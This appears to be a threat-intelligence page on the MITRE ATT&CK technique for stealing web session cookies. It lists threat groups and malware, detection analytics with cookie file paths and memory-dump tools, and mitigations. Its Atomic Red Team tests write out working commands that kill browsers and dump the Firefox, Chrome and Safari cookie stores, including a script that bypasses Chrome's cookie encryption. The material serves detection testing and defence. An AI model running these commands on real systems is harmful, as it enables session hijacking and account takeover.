tfMITRE ATT&CK technique

Steal Web Session Cookie T1539

Tactic: Credential Access
Platforms: Linux, macOS, Office Suite, SaaS, Windows
Version: 1.5
Created: 08 October 2019
Last modified: 12 May 2026
Contributors: Microsoft Threat Intelligence Center (MSTIC); Johann Rehberger; Menachem Goldstein; Don Le, Stifel Financial

An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groupsTop 21%

Threat groups79th percentile · 79% of ATT&CK techniques have this many threat groups attributed or fewer.

Campaigns72nd pct

Campaigns72nd percentile · 72% of ATT&CK techniques have this many campaigns recorded or fewer.

Tools & malwareTop 17%

Tools & malware83rd percentile · 83% of ATT&CK techniques have this many tools implementing them or fewer.

Detection rules54th pct

Detection rules54th percentile · 54% of ATT&CK techniques have this many detection rules written or fewer.

Steal Web Session Cookie MITRE reference T1539

Top 21%of all ATT&CK techniques for number of groups

8 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.

APT42G1044 ↗

Has used custom malware to steal login and cookie data from common browsers.1

created 2025-01-081 reference

Star BlizzardG1033 ↗

Has used EvilGinx to steal the session cookies of victims directed to phishing domains.1

created 2024-06-141 referenceaka SEABORGIUM

Scattered SpiderG1015 ↗

Retrieves browser cookies via Raccoon Stealer.1

created 2023-07-051 referenceaka Roasted 0ktapus

LuminousMothG1014 ↗

Has used an unnamed post-exploitation tool to steal cookies from the Chrome browser.1

created 2023-02-231 reference

EvilnumG0120 ↗

Can steal cookies and session information from browsers.1

created 2021-01-221 reference

KimsukyG0094 ↗

Has used malware, such as TRANSLATEXT, to steal and exfiltrate browser cookies.1 2

created 2019-08-262 referencesaka Black Banshee

All 8 groups for this technique · 6 newest in this preview

20 software entries are documented implementing this technique. MITRE files each as a tool or as malware; newest first, then by how many groups carry them.

Kali365S9044 ↗

Has captured session cookies and related session artifacts when the interacted phishing lure acts as proxy for legitimate requests with login services.1 2

created 2026-07-30MALWARE

LODEINFOS9020 ↗

Can list the contents of %LocalAppData%\Google\Chrome\User Data\ and %LocalAppData%\Microsoft\Edge\User Data\ to obtain cookies.1

created 2026-04-17MALWAREcarried by 1 group

GlassWormS9010 ↗

Has harvested Safari cookies stored within /Library/Containers/com.apple.Safari/Data/Library/Cookies/ Cookies.binarycookies.1 GlassWorm has also stolen cookies within Chromium and Firefox browsers.2 1

created 2026-04-10MALWARE

evilginx2S9003 ↗

Can collect information on each session with a victim including the session cookie.1 2

created 2026-01-30TOOL

RedLine StealerS1240 ↗

Has stolen browser cookies and settings.1 2 3 4

created 2025-09-17MALWARE

Lumma StealerS1213 ↗

Has harvested cookies from various browsers.1 2 3

created 2025-03-22MALWARE

All 20 software entries for this technique · 6 newest in this preview

Offense vs defense T1539

Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.

How it got here

Range

Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.

Campaigns · 1Sigma rules (cumulative) · 2Splunk ESCU (cumulative) · 1

first rule: 2022 Q2 · 1 of 1 campaigns plotted

Steal Web Session Cookie detection strategy DET0509

MITRE names one behaviour worth catching for this technique and breaks it into 5 analytics, one per platform. Each carries the log sources it needs and the fields you tune per environment.

Detection of Web Session Cookie Theft via File, Memory, and Network Artifacts

Enterprise

5 platforms

AN1402 · Windows

Detects suspicious access to browser session cookie storage (e.g., Chrome’s Cookies SQLite DB) or memory reads of browser processes. Anomalous injection or memory dump utilities targeting browser processes such as chrome.exe, firefox.exe, or msedge.exe.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	WinEventLog:Security	EventCode=4688
Process AccessDC0035	WinEventLog:Sysmon	EventCode=10
File ModificationDC0061	WinEventLog:Sysmon	EventCode=2

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
TargetProcessList	Monitored browsers (e.g., chrome.exe, firefox.exe)
AccessToolList	Suspicious tools used for injection or memory access (e.g., mimikatz, procdump)
TargetCookiePaths	Locations of cookie stores like `AppData\Local\Google\Chrome\User Data\Default\Cookies`

AN1403 · Linux

Detects access to known browser cookie files (e.g., ~/.mozilla/firefox/*.default/cookies.sqlite, ~/.config/google-chrome/) and suspicious reads of browser memory via /proc/[pid]/mem or ptrace.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process AccessDC0035	auditd:SYSCALL	ptrace syscall or access to /proc/*/mem
File AccessDC0055	auditd:SYSCALL	open or read to browser cookie storage

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
CookieFilePatterns	Regex paths to known browser cookie locations
TimeWindow	Correlated time range between cookie read and web upload or process injection
BrowserProcPatterns	Expected names for browser processes being accessed

AN1404 · macOS

Detects unauthorized access to browser cookie paths (e.g., ~/Library/Application Support/Google/Chrome/Default/Cookies) or task_for_pid/vm_read calls to Safari/Chrome memory space.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process AccessDC0035	macos:unifiedlog	vm_read, task_for_pid, or file open to cookie databases
File AccessDC0055	fs:fsusage	file open for known browser cookie paths

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
TargetBrowserList	List of processes considered web browsers on macOS
BrowserCookiePathList	Cookie database paths specific to each browser

AN1405 · Office Suite

Detects automation macros or VBA scripts in documents that access browser file paths, read cookie data, or attempt to exfiltrate browser session tokens over HTTP.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Application Log ContentDC0038	m365:unified	RunMacro
File ModificationDC0061	WinEventLog:Sysmon	EventCode=2

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
MacroTargetPath	Files or directories macros are attempting to access
HTTPDestinationIPList	List of IPs or domains that are uncommon for macro-based HTTP POSTs

AN1406 · SaaS

Detects use of session cookies or authentication tokens from unusual user agents or locations. Identifies token reuse without reauthentication or attempts to bypass MFA using previously stolen cookies.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
User Account AuthenticationDC0002	saas:googleworkspace	login with reused session token and mismatched user agent or IP
Logon Session CreationDC0067	saas:okta	session.token.reuse

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
TokenReuseTimeWindow	Max allowed delta between token issuance and second use
UserAgentAnomalyScore	Deviation score from normal browser/device fingerprint
GeoLocationAnomalyScore	Deviation in IP region or ASN per user profile

AuditM1047

Implement auditing for authentication activities and user logins to detect the use of stolen session cookies. Monitor for impossible travel scenarios and anomalous behavior that could indicate the use of compromised session tokens or cookies.

Multi-factor AuthenticationM1032

Deploy hardware-based token (e.g., YubiKey or FIDO key), which incorporates the target login domain as part of the negotiation protocol, will prevent session cookie theft through proxy methods. Implement Conditional Access policies to only allow logins from trusted devices, such as those enrolled in Intune or joined via Hybrid/Entra. This mitigates the risk of session cookie replay attacks by ensuring that stolen tokens cannot be reused on unauthorized devices.

Restrict Web-Based ContentM1021

Restrict or block web-based content that could be used to extract session cookies or credentials stored in browsers. Use browser security settings, such as disabling third-party cookies and restricting browser extensions, to limit the attack surface.

Software ConfigurationM1054

Configure browsers or tasks to regularly delete persistent cookies. Additionally, minimize the length of time a web cookie is viable to potentially reduce the impact of stolen cookies while also increasing the needed frequency of cookie theft attempts – providing defenders with additional chances at detection. For example, use non-persistent cookies to limit the duration a session ID will remain on the web client cache where an attacker could obtain it.

Update SoftwareM1051

Regularly update web browsers, password managers, and all related software to the latest versions. Keeping software up-to-date reduces the risk of vulnerabilities being exploited by attackers to extract stored credentials or session cookies.

User TrainingM1017

Train users to identify aspects of phishing attempts where they're asked to enter credentials into a site that has the incorrect domain for the application they are logging into. Additionally, train users not to run untrusted JavaScript in their browser, such as by copying and pasting code or dragging and dropping bookmarklets.

Tests5ExecutorsPowerShell 3 · bash 1 · sh 1Need elevation0 of 5Have prerequisites3Have cleanup4Platformswindows, macos

Test

Platform

Executor

Elevation

Prereqs

Cleanup

Ref

Steal Firefox Cookies (Windows)

windows

PowerShell

—

Yes

This test queries Firefox's cookies.sqlite database to steal the cookie data contained within it, similar to Zloader/Zbot's cookie theft function. Note: If Firefox is running, the process will be killed to ensure that the DB file isn't locked. See https://www.malwarebytes.com/resources/files/2020/05/the-silent-night-zloader-zbot_final.pdf.

Input arguments

Name	Type	Default	Description
output_file	path	PathToAtomicsFolder\..\ExternalPayloads\T1539FirefoxCookies.txt	Filepath to output cookies
sqlite3_path	path	PathToAtomicsFolder\..\ExternalPayloads\sqlite-tools-win32-x86-3380200\sqlite3.exe	Path to sqlite3

Attack command

stop-process -name "firefox" -force -erroraction silentlycontinue
$CookieDBLocation = get-childitem -path "$env:appdata\Mozilla\Firefox\Profiles\*\cookies.sqlite"
"select host, name, value, path, expiry, isSecure, isHttpOnly, sameSite from [moz_cookies];" | cmd /c #{sqlite3_path} "$CookieDBLocation" | out-file -filepath "#{output_file}"

Cleanup command

remove-item #{output_file} -erroraction silentlycontinue

Prerequisite

Sqlite3 must exist at (#{sqlite3_path})

Check

if (Test-Path "#{sqlite3_path}") {exit 0} else {exit 1}

Satisfy

New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://www.sqlite.org/2022/sqlite-tools-win32-x86-3380200.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\sqlite.zip"
Expand-Archive -path "PathToAtomicsFolder\..\ExternalPayloads\sqlite.zip" -destinationpath "PathToAtomicsFolder\..\ExternalPayloads\" -force

GUID8bfbadf0-94d3-4bce-a647-4d267e63958a

Steal Chrome Cookies (Windows)

windows

PowerShell

—

Yes

This test queries Chrome's SQLite database to steal the encrypted cookie data, designed to function similarly to Zloader/Zbot's cookie theft function. Once an adversary obtains the encrypted cookie info, they could go on to decrypt the encrypted value, potentially allowing for session theft. Note: If Chrome is running, the process will be killed to ensure that the DB file isn't locked. See https://www.malwarebytes.com/resources/files/2020/05/the-silent-night-zloader-zbot_final.pdf.

Input arguments

Name	Type	Default	Description
cookie_db	string	$env:localappdata\Google\Chrome\User Data\Default\Network\Cookies	Filepath for Chrome cookies database
output_file	path	PathToAtomicsFolder\..\ExternalPayloads\T1539ChromeCookies.txt	Filepath to output cookies
sqlite3_path	path	PathToAtomicsFolder\..\ExternalPayloads\sqlite-tools-win32-x86-3380200\sqlite3.exe	Path to sqlite3

Attack command

stop-process -name "chrome" -force -erroraction silentlycontinue
"select host_key, name, encrypted_value, path, expires_utc, is_secure, is_httponly from [Cookies];" | cmd /c #{sqlite3_path} "#{cookie_db}" | out-file -filepath "#{output_file}"

Cleanup command

remove-item #{output_file}

Prerequisite

Sqlite3 must exist at (#{sqlite3_path})

Check

if (Test-Path "#{sqlite3_path}") {exit 0} else {exit 1}

Satisfy

New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://www.sqlite.org/2022/sqlite-tools-win32-x86-3380200.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\sqlite.zip"
Expand-Archive -path "PathToAtomicsFolder\..\ExternalPayloads\sqlite.zip" -destinationpath "PathToAtomicsFolder\..\ExternalPayloads\" -force

GUIDb26d3b4b-2643-4fe3-98c6-6439fe6e5f11

Steal Chrome Cookies via Remote Debugging (Mac)

macos

bash

—

Yes

Steal Chrome v127+ cookies via Remote Debugging (Windows)

windows

PowerShell

—

Chrome v127+ uses app-bound encryption to protect cookies. This test bypasses that protection to obtain the cookies. If successful, the test outputs cookie values to the console. Note: Will stop any instances of Chrome already running Adapted from https://embracethered.com/blog/posts/2024/cookie-theft-in-2024-and-what-todo

Attack command

$devToolsPort = 9222
$testUrl = "https://www.google.com"
stop-process -name "chrome" -force -erroraction silentlycontinue
$chromeProcess = Start-Process "chrome.exe" "$testUrl --remote-debugging-port=$devToolsPort --profile-directory=Default" -PassThru
Start-Sleep 10
$jsonResponse = Invoke-WebRequest "http://localhost:$devToolsPort/json" -UseBasicParsing
$devToolsPages = ConvertFrom-Json $jsonResponse.Content
$ws_url = $devToolsPages[0].webSocketDebuggerUrl
$ws = New-Object System.Net.WebSockets.ClientWebSocket
$uri = New-Object System.Uri($ws_url)
$ws.ConnectAsync($uri, [System.Threading.CancellationToken]::None).Wait()
$GET_ALL_COOKIES_REQUEST = '{"id": 1, "method": "Network.getAllCookies"}'
$buffer = [System.Text.Encoding]::UTF8.GetBytes($GET_ALL_COOKIES_REQUEST)
$segment = New-Object System.ArraySegment[byte] -ArgumentList $buffer, 0, $buffer.Length
$ws.SendAsync($segment, [System.Net.WebSockets.WebSocketMessageType]::Text, $true, [System.Threading.CancellationToken]::None).Wait()
$completeMessage = New-Object System.Text.StringBuilder
do {
    $receivedBuffer = New-Object byte[] 2048
    $receivedSegment = New-Object System.ArraySegment[byte] -ArgumentList $receivedBuffer, 0, $receivedBuffer.Length
    $result = $ws.ReceiveAsync($receivedSegment, [System.Threading.CancellationToken]::None).Result
    $receivedString = [System.Text.Encoding]::UTF8.GetString($receivedSegment.Array, $receivedSegment.Offset, $result.Count)
    $completeMessage.Append($receivedString)
} while (-not $result.EndOfMessage)
$ws.CloseAsync([System.Net.WebSockets.WebSocketCloseStatus]::NormalClosure, "Closing", [System.Threading.CancellationToken]::None).Wait()
try {
    $response = ConvertFrom-Json $completeMessage.ToString()
    $cookies = $response.result.cookies
} catch {
    Write-Host "Error parsing JSON data."
}
Write-Host $cookies
Stop-Process $chromeProcess -Force

GUID70d2df6a-effd-4d7d-af76-888d17a0d9d1

Copy Safari BinaryCookies files using AppleScript

macos

—

Yes

This command will copy Safari BinaryCookies files using AppleScript as seen in Atomic Stealer.

Input arguments

Name	Type	Default	Description
destination_path	path	/private/tmp	Specify the path to copy the BinaryCookies file into.

Attack command

osascript -e 'tell application "Finder"' -e 'set destinationFolderPath to POSIX file "#{destination_path}"' -e 'set safariFolder to ((path to library folder from user domain as text) & "Containers:com.apple.Safari:Data:Library:Cookies:")' -e 'duplicate file "Cookies.binarycookies" of folder safariFolder to folder destinationFolderPath with replacing' -e 'end tell'

Cleanup command

rm "#{destination_path}/Cookies.binarycookies"

GUID2e2b12a4-a350-417f-8f11-cfb7e2878d24

Tests from Atomic Red Team (MIT licence) · technique definition

Steal Web Session Cookie detections T1539

3 rules are mapped to this technique. Parent techniques also include their sub-techniques’ rules. Click a slice or key entry to filter the table.

54th pctamong all ATT&CK techniques for number of rules

Product

Severity

Library

Drag headers to reorder | Drag edges to resize

Loading detections...

Select	Title	Description	Category	Status	Event	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID	Refs